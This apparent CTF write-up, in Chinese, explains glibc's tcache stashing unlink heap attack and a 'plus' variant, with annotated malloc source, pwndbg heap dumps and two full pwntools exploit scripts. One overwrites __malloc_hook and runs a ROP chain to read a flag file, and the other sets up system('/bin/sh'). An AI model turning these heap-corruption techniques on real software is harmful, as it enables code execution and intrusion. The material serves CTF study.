👴的青春回来🌶
先学洋文
stashing 英[ˈstæʃɪŋ] 美[ˈstæʃɪŋ]
v. 存放; 贮藏; 隐藏;
[词典] stash的现在分词;
[例句] Instead of stashing an umbrella in your bag, consider grabbing one of his hats on a rainy day.
在下雨天,你不用在包里装把雨伞,而是可以考虑戴顶他的帽子。
[其他] 原型:stash
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
申请了一个small chunk后,会去和申请大小一样smallbin找free chunk,如果有就把它放到tcache bin上
此时发生两种unlink
把申请的small chunk从small bin中unlink出去,有完整性检查
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
把small bin中剩余的free chunk unlink到tcache bin中,没有检查
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
bck->fd = bin;
可以利用
bin是一个libc地址,如果能控制bck,就能任意地址写入一个libc地址,效果和unsorted bin attack差不多,👴的青春又回来🌶
这个过程是一个循环,对于伪造的bck,bck->bk有可能是非法地址,下一个循环时会crash
如果tcache bin只剩一个空间,循环一次结束,可以避免这种情况
small bin可以通过last remainder得到
这种方法在glibc-2.27也好使
这种方法在glibc-2.30也好使
搞出来差一个就满的tcache bin,准备往里面塞
搞出来unsorted bin准备切
搞出来两个size在small chunk范围内的last remainder
申请size比last remainder的size大的chunk,last remainder进small bin
改后进入的small chunk的bk为fuck_addr,fd不变
申请和这两个small chunk的size相同的chunk,两个small chunk,先进入的分配出去,后进入的进tcache bin,fuck_addr+0x10写入一个libc地址
使用calloc,不从tcache bin里取出,很方便
目标是打tcache_perthread_struct()
for i in range(6):
add(0,'a'*0xf0)
free(0)
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'b'*0x400)
add(2,'a'*0x400)
free(0)
add(2,'a'*0x300)
add(1,'c'*0x400)
add(2,'a'*0x400)
free(1)
add(2,'a'*0x300)
add(2,'a'*0x400)
edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x3a60)+p64(heap_base+0x1b))
add(1,'x'*0xf0)
r.interactive()
edit前
tcachebins
0x100 [ 6]: 0x55555555a9f0 —▸ 0x55555555a8f0 —▸ 0x55555555a7f0 —▸ 0x55555555a6f0 —▸ 0x55555555a5f0 —▸ 0x55555555a4f0 ◂— 0x0
smallbins
0x100: 0x55555555d280 —▸ 0x55555555ca60 —▸ 0x7ffff7fb1d90 (main_arena+336) ◂— 0x55555555d280
pwndbg> x/10gx 0x55555555d280
0x55555555d280: 0x0000000000000000 0x0000000000000101
0x55555555d290: 0x000055555555ca60 0x00007ffff7fb1d90
0x55555555d2a0: 0x6363636363636363 0x6363636363636363
0x55555555d2b0: 0x6363636363636363 0x6363636363636363
0x55555555d2c0: 0x6363636363636363 0x6363636363636363
pwndbg> x/10gx 0x55555555ca60
0x55555555ca60: 0x0000000000000000 0x0000000000000101
0x55555555ca70: 0x00007ffff7fb1d90 0x000055555555d280
0x55555555ca80: 0x6262626262626262 0x6262626262626262
0x55555555ca90: 0x6262626262626262 0x6262626262626262
0x55555555caa0: 0x6262626262626262 0x6262626262626262
edit后
tcachebins
0x100 [ 6]: 0x55555555a9f0 —▸ 0x55555555a8f0 —▸ 0x55555555a7f0 —▸ 0x55555555a6f0 —▸ 0x55555555a5f0 —▸ 0x55555555a4f0 ◂— 0x0
smallbins
0x100 [corrupted]
FD: 0x55555555d280 —▸ 0x55555555ca60 —▸ 0x7ffff7fb1d90 (main_arena+336) ◂— 0x55555555d280
BK: 0x55555555ca60 —▸ 0x55555555d280 —▸ 0x55555555901b ◂— 0x0
pwndbg> x/10gx 0x55555555d280
0x55555555d280: 0x0000000000000000 0x0000000000000101
0x55555555d290: 0x000055555555ca60 0x000055555555901b
0x55555555d2a0: 0x6363636363636363 0x6363636363636363
0x55555555d2b0: 0x6363636363636363 0x6363636363636363
0x55555555d2c0: 0x6363636363636363 0x6363636363636363
pwndbg> x/10gx 0x55555555ca60
0x55555555ca60: 0x0000000000000000 0x0000000000000101
0x55555555ca70: 0x00007ffff7fb1d90 0x000055555555d280
0x55555555ca80: 0x6262626262626262 0x6262626262626262
0x55555555ca90: 0x6262626262626262 0x6262626262626262
0x55555555caa0: 0x6262626262626262 0x6262626262626262
add(1,’x’*0xf0)后
tcachebins
0x100 [ 7]: 0x55555555d290 —▸ 0x55555555a9f0 —▸ 0x55555555a8f0 —▸ 0x55555555a7f0 —▸ 0x55555555a6f0 —▸ 0x55555555a5f0 —▸ 0x55555555a4f0 ◂— 0x0
smallbins
0x100 [corrupted]
FD: 0x55555555d280 —▸ 0x55555555a9f0 ◂— 0x6161616161616161 ('aaaaaaaa')
BK: 0x55555555901b ◂— 0x0
pwndbg> x/10gx 0x55555555901b
0x55555555901b: 0x0000000007000000 0x0000000000000000
0x55555555902b: 0x00007ffff7fb1d90 0x0000000000000000
然后可以进后门,进之前uaf让后门的malloc申请的malloc_hook,把add_rsp_0x48_r写到malloc_hook
在下一次add中rop
from pwn import *
#r = remote('node3.buuoj.cn',25105)
r = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
libc = ELF('./libc-2.29.so')
def add(index,name):
r.recvuntil('> ')
r.sendline('1')
r.recvuntil('idx: ')
r.sendline(str(index))
r.recvuntil('hero name: ')
r.send(name)
def edit(index,name):
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('idx: ')
r.sendline(str(index))
r.recvuntil('hero name: ')
r.send(name)
def show(index):
r.recvuntil('> ')
r.sendline('3')
r.recvuntil('idx: ')
r.sendline(str(index))
def free(index):
r.recvuntil('> ')
r.sendline('4')
r.recvuntil('idx: ')
r.sendline(str(index))
def fuck(payload):
r.recvuntil('> ')
r.sendline('50056')
r.sendline(payload)
for i in range(7):
add(0,'a'*0x200)
free(0)
show(0)
r.recvuntil('hero name: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak - 0xcb0
log.success(hex(heap_base))
add(0,'a'*0x200)
add(1,'./flag\x00\x00'+'a'*0x200)
free(0)
show(0)
r.recvuntil('hero name: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x1e4ca0
log.success(hex(libc_base))
add(0,'a'*0x200)
for i in range(6):
add(0,'a'*0xf0)
free(0)
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'b'*0x400)
add(2,'a'*0x400)
free(0)
add(2,'a'*0x300)
add(1,'c'*0x400)
add(2,'a'*0x400)
free(1)
add(2,'a'*0x300)
add(2,'a'*0x400)
edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x3a60)+p64(heap_base+0x1b))
add(0,'a'*0x217)
malloc_hook = libc_base+libc.sym['__malloc_hook']
free(0)
edit(0,p64(malloc_hook))
add(1,'x'*0xf0)
log.success(hex(malloc_hook))
add_rsp_0x48_r = libc_base + 0x8cfd6
fuck(p64(add_rsp_0x48_r))
fuck(p64(add_rsp_0x48_r))
p_rdi = libc_base + 0x26542
p_rsi = libc_base + 0x26f9e
p_rdx = libc_base + 0x12bda6
p_rax = libc_base + 0x47cf8
syscall = libc_base + 0xcf6c5
#open
payload = p64(p_rdi)+p64(heap_base+0x12e0)
payload += p64(p_rsi)+p64(0)
payload += p64(p_rdx)+p64(0)
payload += p64(p_rax)+p64(2)
payload += p64(syscall)
#read
payload += p64(p_rdi)+p64(3)
payload += p64(p_rsi)+p64(heap_base+0x12e0)
payload += p64(p_rdx)+p64(0x70)
payload += p64(p_rax)+p64(0)
payload += p64(syscall)
#write
payload += p64(p_rdi)+p64(1)
payload += p64(p_rsi)+p64(heap_base+0x12e0)
payload += p64(p_rdx)+p64(0x70)
payload += p64(p_rax)+p64(1)
payload += p64(syscall)
log.info(hex(len(payload)))
add(0,payload)
r.interactive()
比tcache stashing unlink更白给的tcache stashing unlink称作tcache stashing unlink plus
tcache stashing unlink实现任意地址写入一个libc地址
tcache stashing unlink plus同时实现任意地址分配和任意地址写入一个libc地址
也就是分配到fuck_addr1,同时向fuck_addr2写入一个libc地址
除了tcache stashing unlink的条件,还需要能控制fuck_addr1
从smallbin拿出来放入tcache的过程是一个循环,对于伪造的bck,bck->bk有可能是非法地址,下一个循环时会crash
在tcache stashing unlink中,为了防止crash,tcache只空出一个位置,塞满之后循环停止
在tcache stashing unlink plus中,tcache空出两个位置,把fuck_addr1写入后进入的smallchunk的bk
可以控制fuck_addr1,在fuck_addr1+0x18写入fuck_addr2,伪造bk
第一次循环,后进入的smallchunk进tcache,bck是fuck_addr1,bck->bk是fuck_addr2,是合法地址
第二次循环,fuck_addr1+0x10进tcache,bck是fuck_addr2,bck->fd = bin;
,在fuck_addr2+0x10写入一个libc地址,tcache填满,循环结束
tcache白给,下次分配可以直接分配到fuck_addr1+0x10
add用的是calloc,只有一次malloc
利用add中唯一一次malloc从tcache取出来一个,然后用唯一一次show泄露堆地址
开局在0x23333000伪造好,edit堆溢出,然后tcache stashing unlink
打印message泄露libc
leave message有一次malloc,申请到0x23333000,填入system binsh
触发后门
edit前
pwndbg> bin
tcachebins
0x90 [ 5]: 0x5555555594a0 —▸ 0x555555559410 —▸ 0x555555559380 —▸ 0x5555555592f0 —▸ 0x555555559260 ◂— 0x0
0x100 [ 3]: 0x55555555a220 —▸ 0x555555559630 —▸ 0x555555559530 ◂— 0x0
0x110 [ 2]: 0x55555555ac70 —▸ 0x55555555a6c0 ◂— 0x0
0x190 [ 7]: 0x55555555a090 —▸ 0x555555559f00 —▸ 0x555555559d70 —▸ 0x555555559be0 —▸ 0x555555559a50 —▸ 0x5555555598c0 —▸ 0x555555559730 ◂— 0x0
0x310 [ 2]: 0x55555555a960 —▸ 0x55555555a3b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x90: 0x55555555a8c0 —▸ 0x55555555a310 —▸ 0x7ffff7faed20 (main_arena+224) ◂— 0x55555555a8c0
largebins
empty
pwndbg> x/10gx 0x23333000
0x23333000: 0x0000000000000000 0x0000000023333020
0x23333010: 0x0000000000000000 0x0000000000000000
0x23333020: 0x0000000000000000 0x0000000000000000
0x23333030: 0x000000006c736d6e 0x0000000000000000
0x23333040: 0x0000000000000000 0x0000000000000000
edit后
pwndbg> bin
tcachebins
0x90 [ 5]: 0x5555555594a0 —▸ 0x555555559410 —▸ 0x555555559380 —▸ 0x5555555592f0 —▸ 0x555555559260 ◂— 0x0
0x100 [ 3]: 0x55555555a220 —▸ 0x555555559630 —▸ 0x555555559530 ◂— 0x0
0x110 [ 2]: 0x55555555ac70 —▸ 0x55555555a6c0 ◂— 0x0
0x190 [ 7]: 0x55555555a090 —▸ 0x555555559f00 —▸ 0x555555559d70 —▸ 0x555555559be0 —▸ 0x555555559a50 —▸ 0x5555555598c0 —▸ 0x555555559730 ◂— 0x0
0x310 [ 2]: 0x55555555a960 —▸ 0x55555555a3b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x90 [corrupted]
FD: 0x55555555a8c0 —▸ 0x55555555a310 —▸ 0x7ffff7faed20 (main_arena+224) ◂— 0x55555555a8c0
BK: 0x55555555a310 —▸ 0x55555555a8c0 —▸ 0x23332ff0 —▸ 0x23333020 ◂— 0x0
largebins
empty
tcache stashing unlink
pwndbg> bin
tcachebins
0x90 [ 7]: 0x23333000 —▸ 0x55555555a8d0 —▸ 0x5555555594a0 —▸ 0x555555559410 —▸ 0x555555559380 —▸ 0x5555555592f0 —▸ 0x555555559260 ◂— 0x0
0x100 [ 3]: 0x55555555a220 —▸ 0x555555559630 —▸ 0x555555559530 ◂— 0x0
0x110 [ 2]: 0x55555555ac70 —▸ 0x55555555a6c0 ◂— 0x0
0x190 [ 7]: 0x55555555a090 —▸ 0x555555559f00 —▸ 0x555555559d70 —▸ 0x555555559be0 —▸ 0x555555559a50 —▸ 0x5555555598c0 —▸ 0x555555559730 ◂— 0x0
0x310 [ 2]: 0x55555555a960 —▸ 0x55555555a3b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x90 [corrupted]
FD: 0x55555555a8c0 —▸ 0x5555555594a0 ◂— 0x0
BK: 0x23333020 ◂— 0x0
largebins
empty
pwndbg> x/10gx 0x23333000
0x23333000: 0x000055555555a8d0 0x0000555555559010
0x23333010: 0x0000000000000000 0x0000000000000000
0x23333020: 0x0000000000000000 0x0000000000000000
0x23333030: 0x00007ffff7faed20 0x0000000000000000
0x23333040: 0x0000000000000000 0x0000000000000000
from pwn import *
#r = remote('121.36.209.145',9999)
#r = process(['./twochunk'],env={"LD_PRELOAD":"./libc.so.6"})
r = process('./twochunk')
#libc = ELF('./libc.so.6')
libc = ELF('./libc-2.29.so')
def add(index,size):
r.recvuntil('choice:')
r.sendline('1')
r.recvuntil('idx:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
def free(index):
r.recvuntil('choice:')
r.sendline('2')
r.recvuntil('idx:')
r.sendline(str(index))
def show(index):
r.recvuntil('choice:')
r.sendline('3')
r.recvuntil('idx:')
r.sendline(str(index))
def edit(index,content):
r.recvuntil('choice:')
r.sendline('4')
r.recvuntil('idx:')
r.sendline(str(index))
r.recvuntil('content:')
r.send(content)
def fuck_show():
r.recvuntil('choice:')
r.sendline('5')
def fuck_edit(content):
r.recvuntil('choice:')
r.sendline('6')
r.recvuntil('leave your end message:')
r.send(content)
def back_door():
r.recvuntil('choice:')
r.sendline('7')
r.recvuntil('leave your name:')
r.send(p64(0)+p64(0x23333020))
r.recvuntil('leave your message:')
r.send('nmsl')
#x/10gx 0x555555554000+0x40A0
for i in range(5):
add(0,0x88)
free(0)
add(0,0xe9)
free(0)
add(0,0xe9)
free(0)
add(0, 23333)
show(0)
r.recv(2)
heap_base = u64(r.recvuntil('1.add',drop=True).ljust(8,'\x00'))-0x530
free(0)
for i in range(7):
add(0, 0x188)
free(0)
add(0, 0x188)
add(1, 0x300)
free(0)
add(0,0xf8)
free(0)
add(0,0x100)
free(0)
free(1)
add(0, 0x188)
add(1, 0x300)
free(0)
free(1)
add(0, 0xf8)
add(1, 0x100)
free(1)
edit(0,'\x00'*0xf0+p64(0)+p64(0x91)+p64(heap_base+0x1310)+p64(0x23333000-0x10))
pause()
add(1, 0x88)
fuck_show()
r.recvuntil('message: ')
libc_base = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x1e4d20
log.success(hex(libc_base))
system = libc_base+libc.sym['system']
r.interactive()
fuck_edit( p64(system) + "/bin/sh\x00"+p64(0)*4+p64(0x23333008)+p64(0)*2)
r.interactive()
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).